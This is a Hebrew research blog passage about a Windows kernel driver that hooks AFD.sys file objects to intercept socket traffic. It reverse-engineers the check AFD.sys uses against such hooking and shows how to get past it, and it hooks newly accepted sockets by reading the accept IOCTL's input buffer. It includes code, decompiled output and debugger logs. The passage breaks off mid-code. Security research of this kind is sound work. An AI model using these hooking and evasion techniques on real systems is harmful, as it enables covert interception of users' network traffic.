- אנחנו נשים בכל אינדקס את אותה הפונקציה (**MJWrapper**). זוהי פונקציה של הדרייבר שלנו והיא תבדוק עבור כל בקשה שהייתה אמורה להגיע ל-AFD האם היא מעניינת אותנו. במידה וכן - נטפל בבקשה, אחרת - נעביר אותה ישירות ל-afd וכך לא נפריע בטיפול הלגיטימי שלה.

- MJWrapper היא פונקציה מסוג DISPATCH_ROUTINE ועל כן הפרמטרים שהיא מקבלת זה מצביע ל-IRP ול-Device object. ה-IRP הוא בעצם הבקשה הלגיטימית שאיזושהי תוכנה user-mode-ית ביצעה וה-device object הוא המטפל של הבקשה - זה בסוף יהיה ה-device object המזויף שיצרנו.

- כאשר שדה ה-MajorFunction ב-IRP הוא IRP_MJ_DEVICE_CONTROL, זה אומר שהבקשה נוצרה מקריאה לפונקציה NtDeviceIoControlFile או פונקציה דומה. בקשות אלו הן הבקשות שמעניינות אותנו, אלו הבקשות שתוכנות ב-user-mode שולחות כאשר הן רוצות לבצע פעולות I/O על סוקט.

במידה והבקשה היא אכן מסוג IRP_MJ_DEVICE_CONTROL, נעביר את ה-IRP אל הפונקציה HandleAfdCall שיודעת לטפל בבקשות לפי כל IOCTL בנפרד:

```
NTSTATUS AFDHandler::HandleAfdCall(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
        PIO_STACK_LOCATION irpStackLocation =
IoGetCurrentIrpStackLocation(Irp);

// Read the IOCTL.
        ULONG ioctl = irpStackLocation-
>Parameters.DeviceIoControl.IoControlCode;

        switch (ioctl)
        {
        case IOCTL_AFD_BIND:
                KnitPrint("got IOCTL_AFD_BIND\n");
                break;

        case IOCTL_AFD_SELECT:
                KnitPrint("got IOCTL_AFD_SELECT\n");
                break;

        case IOCTL_AFD_ACCEPT:
                KnitPrint("got IOCTL_AFD_ACCEPT\n");
                this->HandleAfdAccept(Irp);
                break;

        case IOCTL_AFD_RECV:
                KnitPrint("got IOCTL_AFD_RECV\n");
                break;
        };
```

```
// get the afd original function.
        auto originalFunction = this->AFDUtils-
>OriginalAfdMJ[irpStackLocation->MajorFunction];

        // return the afd function status.
        NTSTATUS checkStatus = originalFunction(DeviceObject, Irp);
        KnitPrint("status: 0x%x\n", checkStatus);
}
```

תחילה, הפונקציה מלחצת מה-IRP את ערך ה-IOCTL, את קוד הבקשה הנוכחי. היא מתעדת איזה קוד התקבל - Recv, Accept, Bind.

השורה הבאה:

```
this->AFDUtils->OriginalAfdMJ[irpStackLocation->MajorFunction];
```

משמשת עבור השגת מצביע לפונקציה המקורית של AFD שהייתה אמורה להיקרא אם לא היינו מבצעים את ה-hook. זו אחת הסיבות למה שמרנו בקוד את מערך המצביעים המקורי, כך, אנחנו יכולים לקרוא לפונקציה הזאת, לתעד את הערך המוחזר ולהחזיר אותו בעצמנו אל הקורא המקורי.

נראה שביצענו MiTM כמו שצריך - הפונקציה שלנו מקבלת את כל הנתונים, מתעדת איזה IOCTL קיבלה ולבסוף מחזירה את הסטטוס המקורי מבלי שהמקור או AFD ידע שהכל עבר דרכנו.

הרצה וניסוי על שרת פייתון

נקים VM ועליה webserver של פייתון:

```
Microsoft Windows [Version 10.0.19045.5247]
(c) Microsoft Corporation. All rights reserved.

C:\Users\ball\Desktop>python -m http.server 12345
Serving HTTP on :: port 12345 (http://[::]:12345/) ...
```

נריץ את הדרייבר שלנו (בשם knit) ב-vm:

```
C:\Windows\system32>sc start knit

SERVICE_NAME: knit
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 0
        FLAGS              :
```

הדרייבר יבצע הוק על כל ה-file objects של afd ובהם הסוקטים שהשרת יוצר.

נבדוק ב-windbg האם הדרייבר שלנו תופס את הבקשות שאמורות להגיע ל-afd:

```
[KNIT] DriverEntry -> Driver Loaded
[KNIT] AFDHandler::HandleAfdCall -> IOCTL = 0x12024
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0xc0000008
```

בעיה ראשונה - INVALID_HANDLE

כפי שרואים למעלה, הסטטוס שהוחזר על IOCTL 0x12024 הוא 0xC0000008. זה לא טוב, הסטטוס המוחזר אמור להיות 0 (success).

אם נבדוק באינטרנט נראה שה-IOCTL הזה הוא IOCTL_AFD_SELECT והסטטוס הוא STATUS_INVALID_HANDLE. בנוסף, אם נחזור לשרת פייתון ב-cmd נראה שהוא קרס:

```
  File "C:\Users\ball\AppData\Local\Programs\Python\Python38\lib\http\server.py", line 1283, in <module>
    test(HandlerClass=handler_class, port=args.port, bind=args.bind)
  File "C:\Users\ball\AppData\Local\Programs\Python\Python38\lib\http\server.py", line 1256, in test
    httpd.serve_forever()
  File "C:\Users\ball\AppData\Local\Programs\Python\Python38\lib\socketserver.py", line 232, in serve_forever
    ready = selector.select(poll_interval)
  File "C:\Users\ball\AppData\Local\Programs\Python\Python38\lib\selectors.py", line 323, in select
    r, w, _ = self._select(self._readers, self._writers, [], timeout)
  File "C:\Users\ball\AppData\Local\Programs\Python\Python38\lib\selectors.py", line 314, in _select
    r, w, x = select.select(r, w, w, timeout)
OSError: [WinError 10038] An operation was attempted on something that is not a socket

C:\Users\ball\Desktop>
```

נבחין בשגיאה - "An operation was attempted on something that is not a socket".

מחקר INVALID_HANDLE

נתקלנו בבעיה הראשונה, שהיא גם הבעיה שמי שהיה מנסה להריץ את ה-repo של Spectre מ-2020 היה נתקל בה והסיבה לכך היא בבדיקה פנימית שנוספה לדרייבר AFD.sys. הבדיקה שנוספה נועדה בדיוק בשביל לקנטר את שיטת ה-file object hooking שאנחנו מנסים לבצע. בבעיה הזאת נתקלתי כשעבדתי עם חבר - תמיר פינצי - על מבצוע השיטה, ביחד מצאנו מעקף.

הסטאפ למחקר:

- פתחנו את afd.sys ב-IDA.
- שמנו ב-windbg breakpoint על השורה בקוד שלנו שקוראת לפונקציה המקורית של afd.sys:

```
// get the afd function.
Auto originalFunction = this->AFDUtils->OriginalAfdMJ[irpStackLocation-
>MajorFunction];

// call the afd function and retrieve the status.
NTSTATUS checkStatus = originalFunction(DeviceObject, Irp);
```

השתמשנו בפלאגין ret-sync שיסנכרן בין windbg ל-IDA. בקצרה, מה שהוא מאפשר זה שהשורה הנוכחית שרצה ב-windbg תהיה תואמת לשורה שמוצגת ב-IDA. ככה אפשר לדבג דינאמית וגם לראות pseudo-code תואם.

לאחר פגיעה ב-breakpoint נעשה step into וניכנס לקוד של הפונקציה של afd. למזלי יש PDB ולכן אפשר לראות שלפונקציה קוראים afdDispatchDeviceConrol – הגיוני.

זאת הפונקציה של afd שאחראית לטפל בכל קריאה של NtDeviceIoControlFile שמגיעה מ-usermode. כעת, נעקוב אחרי ה-flow של הפונקציה ונראה שאנחנו מגיעים לקטע קוד הבא:

```
  controlCodeIndex = (CurrentStackLocation->Parameters.Read.ByteOffset.LowPart
>> 2) & 0x3FF;

    if (controlCodeIndex < 0x49
      && AfdIoctlTable[controlCodeIndex] == CurrentStackLocation-
>Parameters.Read.ByteOffset.LowPart
      && (CurrentStackLocation->MinorFunction = CurrentStackLocation-
>Parameters.Read.ByteOffset.LowPart >> 2,
          (handlerFunction = AfdIrpCallDispatch[controlCodeIndex]) != 0) )
    {
      return ((__int64 (__fastcall *)(IRP *, struct _IO_STACK_LOCATION
*))handlerFunction)(Irp, CurrentStackLocation);
```

זה pseudo-code ש-IDA יצר, בגדול:

המשתנה controlCodeIndex מייצג אינדקס בטבלה. לאחר מכן יש כמה בדיקות לראות אם האינדקס תקין ולבסוף יש השמה של התא במערך AfdIrpCallDispatch באינדקס של controlCodeIndex לתוך המשתנה handlerFunction. זאת השורה:

```
handlerFunction = AfdIrpCallDispatch[controlCodeIndex]
```

אם נבדוק מה זה AfdIrpCallDispatch, נראה שזה מערך של פונקציות:

```
.rdata:00000001C001F6A0 AfdIrpCallDispatch dq offset AfdBind     ; DATA XREF: AfdDispatchDeviceControl+60↓r
.rdata:00000001C001F6A8                    dq offset AfdConnect
.rdata:00000001C001F6B0                    dq offset AfdStartListen
.rdata:00000001C001F6B8                    dq offset AfdWaitForListen
.rdata:00000001C001F6C0                    dq offset AfdAccept
.rdata:00000001C001F6C8                    dq offset AfdReceive
.rdata:00000001C001F6D0                    dq offset AfdReceiveDatagram
.rdata:00000001C001F6D8                    dq offset AfdSend
.rdata:00000001C001F6E0                    dq offset AfdSendDatagram
.rdata:00000001C001F6E8                    dq offset AfdPoll
.rdata:00000001C001F6F0                    dq offset AfdDispatchImmediateIrp
.rdata:00000001C001F6F8                    dq offset AfdGetAddress
.rdata:00000001C001F700                    dq offset AfdDispatchImmediateIrp
```

כלומר, controlCodeIndex הוא אינדקס שמחושב לפי ה-IOCTL שנשלח מה-usermode ולפיו נקראת הפונקציה שצריכה לטפל באותו IOCTL. במקרה שלנו, ה-IOCTL שנשלח (ונכשל) היה AFD_SELECT והפונקציה שמטפלת בו היא AfdPoll (מהמונח polling). זוהי פונקציית מעטפת שתקרא לפונקציה AfdPoll64.

ה-callstack שדרכו הגענו ל-afdpoll64 די מעניין ומציג תמונה יותר מלאה - **איך הגענו מה-usermode וה-winsock API אל ה-kernelmode וספציפית אל afd.sys:**

```
 # Child-SP          RetAddr           Call Site
00 ffffe68f`0841b730 fffff802`382dc5fb afd!AfdPoll64+0x6
01 ffffe68f`0841b740 fffff802`382dc08d afd!AfdPoll+0x2b
02 ffffe68f`0841b770 fffff802`4ebc1977 afd!AfdDispatchDeviceControl+0x7d
03 ffffe68f`0841b7a0 fffff802`32e4a295 KNIT!HookProvider::MJWrapper+0xa7 [E:\Code\VStudio\KNIT\KNIT\HookProvider\hookProvider.cpp @ 135]
04 ffffe68f`0841b7f0 fffff802`3323260c nt!IofCallDriver+0x55
05 ffffe68f`0841b830 fffff802`3323225a nt!IopSynchronousServiceTail+0x34c
06 ffffe68f`0841b8d0 fffff802`33231536 nt!IopXxxControlFile+0xd0a
07 ffffe68f`0841ba20 fffff802`33012905 nt!NtDeviceIoControlFile+0x56
08 ffffe68f`0841ba90 00007ff8`2910d5d4 nt!KiSystemServiceCopyEnd+0x25
09 00000001`001e2338 00007ff8`25ddf1ab ntdll!NtDeviceIoControlFile+0x14
0a 00000001`001e2340 00007ff8`285716f7 mswsock!WSPSelect+0x52b

0b 00000001`001e24f0 00007ff8`0f54289a WS2_32!select+0x137
0c 00000001`001e25d0 000001af`00000001 select!PyInit_select+0x189a
0d 00000001`001e25d8 000001af`1d6c9390 0x000001af`00000001
0e 00000001`001e25e0 00000000`00000001 0x000001af`1d6c9390
0f 00000001`001e25e8 00000000`00000000 0x1
```

ניתן לראות שפייתון משתמש בפונקציית select של ws2_32.dll שבסוף קוראת ל-NtDeviceIoControlFile *שאמורה* להעביר IRP עם הקוד AFD_IOCTL_ACCEPT אל afd.sys. כמו כן, אפשר לראות איך הדרייבר שלנו יושב באמצע ומקבל את הבקשה לפני afd.

אם נבצע static analysis על AfdPoll64, נוכל למצוא את קטע הקוד שמחזיר לנו STATUS_INVALID_HANDLE:

```
v24 = *((_QWORD *)v20 + 2);
if ( *(PDEVICE_OBJECT *)(v24 + 8) != AfdDeviceObject )
        {
          ObfDereferenceObject((PVOID)v24);
          LODWORD(v6) = 0xC0000008; // STATUS_INVALID_HANDLE
          goto LABEL_83;
```

83_label פשוט מחזיר את v6 בתור הסטטוס יציאה של הפונקציה. עכשיו אנחנו צריכים להבין מה זה v24, מה זה v20 ומאיפה הם באים - האם יש לנו שליטה עליהם?

v20

מאותחל על פי השורה הבאה:

```
v20 = (char *)DeferredContext + 0xB8;
```

ההשמה המעניינת קורית ב:

```
RequestorMode = Irp->RequestorMode;
v23 = *(void **)p_Flags;
Object = 0;
LODWORD(v6) = ObReferenceObjectByHandle(
                v23,
                (unsigned __int8)HIBYTE(*(_WORD *)(v100 + 24)) >> 6,
                (POBJECT_TYPE)IoFileObjectType,
                RequestorMode,
                &Object,
                0);
*((_QWORD *)v20 + 2) = Object; // Here
```

מה שרואים כאן זה ש v20+2 מקבל את המשתנה Object. המשתנה Object הוא בעצם התוצאה מהקריאה לפונקציה **ObReferenceObjectByHandle**, הכתובת שלו מועברת כפרמטר החמישי לפונקציה - שתמלא את הכתובת באובייקט שמשויך ל-handle.

כלומר, ב-v20+2 נשמר אובייקט (מסוג file - לפי הפרמטר השלישי).

הפרמטר הראשון של הפונקציה הזאת הוא בהכרח handle לאובייקט, לכן נשנה את השם של v23 ל-fileObjectHandle.

p_Flags

מאותחל לפי השורה הבאה:

```
p_Flags = &MasterIrp->Flags;
```

כלומר מצביע לשדה flags.

בתוך ה-IRP יש union הכולל שלושה שדות:

```
struct _IRP
{
    SHORT Type;                                          //0x0
    USHORT Size;                                         //0x2
    USHORT AllocationProcessorNumber;                    //0x4
    USHORT Reserved;                                     //0x6
    struct _MDL* MdlAddress;                             //0x8
    ULONG Flags;                                         //0x10
    union
    {
        struct _IRP* MasterIrp;                          //0x18
        LONG IrpCount;                                   //0x18
        VOID* SystemBuffer;                              //0x18
    } AssociatedIrp;                                     //0x18
```

IDA לא באמת יודע איזה אחד מהשדות נמצא בשימוש ולכן הוא פשוט בחר בראשון - MasterIrp. לאחר בדיקה דינאמית וגם ניסיון אישי, אפשר להסיק שזה דווקא יהיה SystemBuffer ולכן נשנה את השם של p_Flags ל-p_systemBuffer.

נלך לשורה ב-IDA ונבחר "Choose union field":

נשנה גם את ה-type של המשתנה מ-IRP pointer ל-PVOID

עכשיו שורת ההשמה ממקודם נראית יותר הגיונית:

```
p_systemBuffer = (ULONG *)(systemBuffer + 0x10);
```

כלומר, p_systemBuffer הוא בסה"כ הכתובת של irp->SystemBuffer ועוד 16 בייטים.

אם נחזור לקריאה ל-ObReferenceObjectByHandle:

הפרמטר הראשון שמועבר לפונקציה הוא v23, והוא מסוג HANDLE.

```
v23 = *p_systemBuffer
```

מכאן אנחנו מבינים שבתוך הכתובת systemBuffer + 0x10 נמצא ה-handle שמועבר ל-ObReferenceObjectByHandle.

המשמעות היא ש-afd, עבור IOCTL_AFD_SELECT, משתמש ב-handle

שמועבר בתוך irp->SystemBuffer כדי לקבל את ה-file object שעליו הוא מבצע פעולות.

v24

1. יש את ההשמה v20+2 = object.
2. ה-object הוא ה-file object המתקבל כתוצאה מהקריאה הקודמת ל-ObReferenceObjectByHandle.
3. בהתחלה ראינו את ההשמה v24 = v20 + 2.
4. לכן: **v24 = v20 + 2 = object**

שורה לאחר ההשמה של v24, יש את ההשוואה שבה אנחנו נופלים:

```
v24 = *((_QWORD *)v20 + 2); // = File Object
if ( *(PDEVICE_OBJECT *)(v24 + 8) != AfdDeviceObject )
        {
          ObfDereferenceObject((PVOID)v24);
          LODWORD(v6) = 0xC0000008;
          goto LABEL_83;
        }
```

ההשוואה היא בין שתי כתובות: של v24+8 ושל AfdDeviceObject.

1. המשתנה AfdDeviceObject הוא משתנה גלובלי שנמצא בזיכרון של afd.sys והוא שומר את הכתובת של ה-device object המקורי של afd.
2. אנחנו יודעים ש-v24 הוא מסוג FILE_OBJECT ואם נסתכל על ה-struct הזה נראה שב-offset 8 יש את המצביע ל-device object המשויך לאותו file object:

```
struct _FILE_OBJECT
{
    SHORT Type;                                    //0x0
    SHORT Size;                                    //0x2
    struct _DEVICE_OBJECT* DeviceObject;           //0x8
```

3. כלומר, הקוד v24+8 שקול לקוד **fileObject->DeviceObject**.
4. הקוד נופל בבדיקה בגלל שביצענו hook ל-file object ולכן הוא יכיל מצביע ל-device object המזויף שלנו! הכתובות לא יהיו שוות ונקבל STATUS_INVALID_HANDLE.

פתרון

בעצם יש כאן ביצה ותרנגולת - מצד אחד, אנחנו רוצים לעשות hook לכל file object בשביל לגרום ל-IRP להגיע אלינו במקום ל-afd. מצד שני, בגלל שעשינו hook על ה-file object אז ה-device object שעליו הוא מצביע יהיה האחד המזויף שלנו, ואז ניפול בבדיקה של afd.

האמת שהפתרון די פשוט: נבצע החלפה זמנית של שדה ה-device object ב-file object ממש שורה לפני הקריאה לפונקציה של afd. כך, כשנעביר את הקריאה אל afd השדה יצביע על ה-device object המקורי של afd. מיד לאחר הקריאה, נחזיר את המצביע ל-device object המזויף שלנו.

```
// Unhook the fileObject - got hooked by our hookLoop.
referencedAfdFobject->DeviceObject = AFDUtils::OriginalAfdDeviceObject;

// Call the afd function and retrieve the status.
NTSTATUS checkStatus = originalFunction(DeviceObject, Irp);

// re-hook it.
referencedAfdFobject->DeviceObject = AFDUtils::FakeAfdDeviceObject;
```

עכשיו, אם נריץ שוב את הדרייבר, נראה שעבור IOCTL_AFD_SELECT אנחנו לא מקבלים יותר את השגיאה, במקום זאת, אנחנו מקבלים סטטוס 0x103 שמוגדר כ-STATUS_PENDING. זאת התנהגות רגילה, בעצם afd אומר שאין כרגע שום שינוי במצב הסוקטים: אין סוקט נכנס, אין מידע לקרוא \ לכתוב וכו', לכן הוא מחכה - pending. ברגע שיש incoming socket יוחזר 0 (STATUS_SUCCESS).

כאמור, המטרה שלנו היא להסניף תעבורה שמגיעה לעמדה, לכן נצטרך "לתפוס" את ה-IOCTL-ים שמגיעים לאחר שהשתנה המצב והגיע חיבור חדש. הסדר הוא כזה:

1. שרת ה-python קורא בלולאה ל-select כל עוד הסטטוס הוא STATUS_PENDING.
2. ברגע שהשרת קיבל STATUS_SUCCESS הוא יודע שיש סוקט בדרך אליו. לכן, השרת קורא לפונקציית accept. כתוצאה מכך, קוד ב-ws2_32.dll שולח 2 IRPs ל-afd מאחורי הקלעים:

א. IOCTL_AFD_WAIT_FOR_LISTEN - תחכה עד שהחיבור החדש מוכן, לדוגמא - אחרי שבוצע three-way handshake והחיבור הוא ESTABLISHED.

ב. IOCTL_AFD_ACCEPT - קבלת הסוקט הנכנס. afd יחזיר ל-user-mode את ה-file descriptor של הסוקט הנכנס כדי שהשרת יוכל לבצע עליו פעולות.

3. לאחר אישור קבלת הסוקט הנכנס, השרת קורא לפונקציה recv כדי באמת לקרוא את המידע שבסוקט. הקריאה הזאת מגיעה ל-afd עם IOCTL_AFD_RECV.

תפיסת IOCTL_AFD_RECV

בוא נראה אם הדרייבר שלנו מצליח לתפוס את כל הבקשות בתהליך, לשם כך נשלח בקשת GET אל השרת בעזרת CURL ונסתכל על ההדפסות: ההדפסות ב-windbg מראות **שלא** תפסנו את IOCTL_AFD_RECV:

```
[KNIT] AFDHandler::HandleAfdCall -> IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000103
[KNIT] AFDHandler::HandleAfdCall -> Got IOCTL_AFD_WAIT_FOR_LISTEN
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000000
[KNIT] AFDHandler::HandleAfdCall -> Got IOCTL_AFD_ACCEPT
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000000
[KNIT] AFDHandler::HandleAfdCall -> IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000103
[KNIT] AFDHandler::HandleAfdCall -> IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000103
```

ניתן לראות בשורה הראשונה שהשרת מחכה לסוקט. לאחר מכן אנחנו שולחים את בקשת ה-GET ואז השרת מבצע את הקריאה לפונקציית accept ששולחת את IOCTL_AFD_WAIT_FOR_LISTEN ואת IOCTL_AFD_ACCPET.

בנוסף, שני ה-IOCTL-ים מצליחים ומוחזר מ-afd סטטוס הצלחה. עם זאת, <u>אנחנו לא תופסים את ה-IOCTL עם המידע</u>- IOCTL_AFD_RECV.

לכאורה, לא אמורה להיות סיבה שה-hook שלנו יפספס רק IOCTL ספציפי. זה או שהוא תופס את כל ה-IOCTL-ים שנקראים על אותו file object או שהוא לא תופס אף אחד. כנראה שנצטרך לצלול קצת ל- winsock API.

חקירה ב-APIMON

APImon הוא כלי המאפשר לנטר קריאות API של תהליך בזמן ריצה.

הוא עוקב אחרי קריאות לפונקציות מ־DLL-ים כמו kernel32.dll, ntdll.dll, ws2_32.dll ומאפשר לראות: איזה APIs נקראים, באיזה סדר, עם איזה פרמטרים ועוד.

נשתמש ב-APImon כדי לעקוב אחרי הפונקציות בהן השרת שלנו משתמש, ונראה אם אנחנו מצליחים לראות איפה ולמה אנחנו מפספסים קריאה ל-IOCTL_AFD_RECV.

בשביל להבין את החלק הבא, חשוב שנחזור ונעשה סדר באירועים שקורים מהקריאה לפונקציות accept, recv, select עד להגעה אל הדרייבר שלנו ואל afd.sys:

- הפונקציות accept, recv וכדומה הן פונקציות שמוגדרות ומוחצנות על ידי ws2_32.dll.
- מאחורי הקלעים, במימוש, אותן פונקציות עושות שימוש בפונקציות native של ntdll.dll כמו NtDeviceIoControlFile.
- הפונקציה NtDeviceIoControlFile לבסוף מעבירה IRP לדרייבר.
- בתוך ה-IRP, מועבר גם control code שמתאר מה הפעולה המבוקשת. לדוגמא: קריאה ל-recv בסופו של דבר תעביר IRP ל-afd.sys עם control code של IOCTL_AFD_RECV.

נבצע monitor לשרת ה-python שלנו, נראה תחילה את הלולאה החוזרת על עצמה שבה השרת קורא לפונקציית select:

Call #	Time	Thread	Module	API	Return Value	Error	Duration
79	2:21:43.503 PM	1	select.pyd	select (1, 0x0000007fce7e2280, 0x0000007fce7e3290, 0x0000007fce7e42a0, 0x0000007fce7e2278)	0	-	0.4999498
80	2:21:43.503 PM	1	mswsock.dll	NtDeviceIoControlFile (0x0000000000000168, 0x0000000000000170, NULL, NULL, 0x0000007fce7e1de8, IOCTL_AFD_SELECT, 0x0000007fce7e1e00, 32, 0x0000007fce7e1e00, 32)	STATUS_PENDING	0x00000103 = The operation that was requested is pending completion.	0.0000695
81	2:21:43.503 PM	1	mswsock.dll	NtWaitForSingleObject (0x0000000000000170, TRUE, NULL)	STATUS_SUCCESS	-	0.4998685
89	2:21:44.005 PM	1	select.pyd	select (1, 0x0000007fce7e2280, 0x0000007fce7e3290, 0x0000007fce7e42a0, 0x0000007fce7e2278)	0	-	0.5031396
90	2:21:44.005 PM	1	mswsock.dll	NtDeviceIoControlFile (0x0000000000000168, 0x0000000000000170, NULL, NULL, 0x0000007fce7e1de8, IOCTL_AFD_SELECT, 0x0000007fce7e1e00, 32, 0x0000007fce7e1e00, 32)	STATUS_PENDING	0x00000103 = The operation that was requested is pending completion.	0.0000512
91	2:21:44.005 PM	1	mswsock.dll	NtWaitForSingleObject (0x0000000000000170, TRUE, NULL)	STATUS_SUCCESS	-	0.5030767

זה בדיוק מה שאנחנו רואים בהדפסות שהדרייבר שלנו מוציא ל-windbg:

```
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000103
[KNIT] AFDHandler::HandleAfdCall -> IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000103
[KNIT] AFDHandler::HandleAfdCall -> IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000103
[KNIT] AFDHandler::HandleAfdCall -> IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> Original status = 0x00000103
```

עכשיו נראה מה קורה כשהפונקציה accept נקראת:

159	2:21:47.151 PM	1	mswsock.dll	NtDeviceIoControlFile (0x168, 0x170, NULL, NULL, 0x0000007fce7ed978, IOCTL_AFD_WAIT_FOR_LISTEN, NULL, 0, 0x0000007fce7edc50, 20)	STATUS_SUCCESS	-	0.0000088
162	2:21:47.151 PM	1	mswsock.dll	RtlInitUnicodeString (0x0000007fce7ed7f0, "\Device\Afd\Endpoint")		-	0.0000001
163	2:21:47.151 PM	1	mswsock.dll	NtCreateFile (0x0000007fce7ed770, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE | WRITE_DAC, 0x0000007fce7ed7c0, 0x0000007fce7ed7b0, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, 0, 0x0000007fce7ed800, 57)	STATUS_SUCCESS	-	0.0000420
165	2:21:47.151 PM	1	mswsock.dll	NtDeviceIoControlFile (0x168, 0x170, NULL, NULL, 0x0000007fce7ed978, IOCTL_AFD_ACCEPT, 0x0000007fce7ed940, 16, NULL, 0)	STATUS_SUCCESS	-	0.0000091
166	2:21:47.151 PM	1	mswsock.dll	NtDeviceIoControlFile (0x280, 0x170, NULL, NULL, 0x0000007fce7ed6e0, IOCTL_AFD_GET_TDI_HANDLES, 0x0000007fce7ed700, 4, 0x0000007fce7ed6d0, 16)	STATUS_SUCCESS	-	0.0000026

הדרייבר שלנו תופס את הקריאה ל-NtDeviceIoControlFile עם IOCTL_AFD_ACCEPT:

```
NtDeviceIoControlFile (0x168, 0x170, NULL, NULL,
0x0000007fce7ed978, IOCTL_AFD_ACCEPT, 0x0000007fce7ed940, 16,
NULL, 0)
```

גם את ה-recv אנחנו רואים ב-APImon:

Call #	Time	Thread	Module	API	Return Value	Error	Duration
326	2:21:47.157 PM	2	mswsock.dll	NtDeviceIoControlFile(0x280, 0x294, NULL, NULL, 0x0000007fcedbd0d0, IOCTL_AFD_RECV, 0x0000007fcedbd098, 24, NULL, 0)	STATUS_SUCCESS	-	0.0000125

ובעקבותיו את הקריאה ל-NtDeviceIoControlFile עם IOCTL_AFD_RECV, **שאותה אנחנו לא תופסים**

בדרייבר:

Call #	Time	Thread	Module	API	Return Value	Error	Duration
322	2:21:47.157 PM	2	_socket.pyd	recv(640, 0x000001e3b9861ba0, 8192, 0)	82	-	0.0000291

אם נשווה בין הפרמטרים המועברים ל-NtDeviceIoControlFile כאשר נקראת הפונקציה accept לעומת הפונקציה recv, נראה משהו מעניין:

- עבור accept: ערך הפרמטר הראשון (ה-FileHandle עליו פירטתי קודם) הוא **0x168.**
- עבור recv: ערך הפרמטר הראשון הוא **0x280**.

משמע, השרת משתמש ב-2 file objects שונים עבור קריאת accept וקריאת recv. בגלל שאנחנו תופסים את accept אבל לא את recv, זה כנראה אומר שהצלחנו לעשות מניפולציה רק על ה-file object הראשון. אך יש לנו לולאה שאמורה לוודא שאנחנו משנים כל file object שנוצר, אז למה זה מתפספס?

אם נסתכל בעמוד הקודם על הפונקציות שנקראות בעקבות הקריאה לפונקציה accept, נוכל למצוא כמה רמזים:

1. אפשר לראות אתחול של UNICODE_STRING עם הסטרינג "\Device\Afd\Endpoint".
2. לאחר מכן, יש קריאה ל- **NtCreateFile** שיוצרת file object חדש ומחזירה handle אליו. ה-file object החדש יצביע אל ה-device של afd.sys.
3. אחר כך, שליחת IOCTL_AFD_ACCEPT, עדיין עם ה-handle ל-file object הישן.
4. בקריאה האחרונה ל-NtDeviceIoControlFile עם IOCTL_AFD_RECV, אנחנו רואים שהשימוש הוא **לא** ב-handle הישן, אלא ב-handle ל-file object החדש שנוצר ממש רגע אחד לפני.

אם נסתכל על הפרשי הזמנים בין הקריאה של accept (שבה נוצר ה-file object) לקריאה של recv (שבה משתמשים ב-file object שנוצר) נראה שההפרש הוא מאוד קטן - 0.006 שניות, זאת בעיה, הלולאת hook-ים שלנו רצה כל שנייה ולכן היא לא תספיק לעשות hook ל-file object. גם אם היא הייתה רצה ללא דיליי, היה יכול להיות כאן race condition. בקיצור, לולאה יותר מהירה היא לא מה שיפתור את הבעיה.

הפתרון - Spawn Camping

כמו שאמרנו, הקריאה ל-accept מובילה ליצירה של עוד file object. אבל היא גם מובילה לשליחת IRP עם IOCTL_AFD_ACCEPT שמגיע אלינו בעקבות ה-hook.

הסדר הוא כזה: קודם כל נוצר file object על ידי קריאה לפונקציה NtCreateFile ורק לאחר יצירה מוצלחת, יש קריאה ל-NtDeviceIoControlFile עם IOCTL_AFD_ACCPET שמגיעה אלינו. אם נסתכל בפרמטרים שמגיעים אל הדרייבר שלנו דרך NtDeviceIoControlFile, נוכל לזהות משהו מעניין:

1. הפרמטרים השביעי והשמיני: InputBuffer ו-InputBufferLength בהתאמה, אינם ריקים.
2. אם (בעזרת APImon) נסתכל בתוך InputBuffer נראה שהוא מכיל את הביטים הבאים:

```
0x0: 00 00 00 00 01 00 00 00 80 02 00 00 00 00 00 00
```

נפצל לאוקטטות ונמיר ל-little endian:

```
0000000100000000 | 0000000000000280
```

ה-280 נראה קצת מוכר... זה ה-FileHandle של ה-file object החדש שבדיוק נוצר!

לכן, מה שנוכל לעשות זה לתפוס את IOCTL_AFD_ACCEPT, לקרוא את ה-InputBuffer, להוציא ממנו את ה-fileHandle ובאמצעותו לבצע hook על ה-file object החדש. כל זה יקרה ברגע שנוצר ה-file object **ועוד לפני שמשתמשים בו ב-פונקציית recv**. עכשיו נתרגם את זה לקוד.

Extraction Of The RECV File Object

לפי הדוקומנטציה של מיקרוסופט, השדה SystemBuffer שנמצא בתוך ה-IRP אמור להכיל את ה-InputBuffer שהועבר ב-NtDeviceIoControlFile. אפשר להסיק זאת מכאן:

- **SystemBuffer.IRP_MJ_DEVICE_CONTROL or IRP_MJ_INTERNAL_DEVICE_CONTROL**

  The buffer represents both the input and output buffers that are supplied to **DeviceIoControl** and **IoBuildDeviceIoControlRequest**. Output data overwrites input data.

ניגש אליו דרך:

```
Irp->AssociatedIrp.SystemBuffer
```

כמו שראינו קודם, 8 הבייטים הראשונים מכילים מידע לא רלוונטי לנו, לכן נדלג עליהם על ידי הוספה של 8 בייטים לכתובת של SystemBuffer:

```
((ULONG_PTR)Irp->AssociatedIrp.SystemBuffer + 0x8);
```

יש כאן cast ל-ULONG_PTR בשביל משחקים בכתובות, לא קריטי אם אתם לא מכירים את זה.

נוציא את הערך המאוחסן בתוך הכתובת - הערך יהיה מסוג handle ובמקרה שלנו יהיה שווה ל0x280.

```
// 3. extract the new handle value.
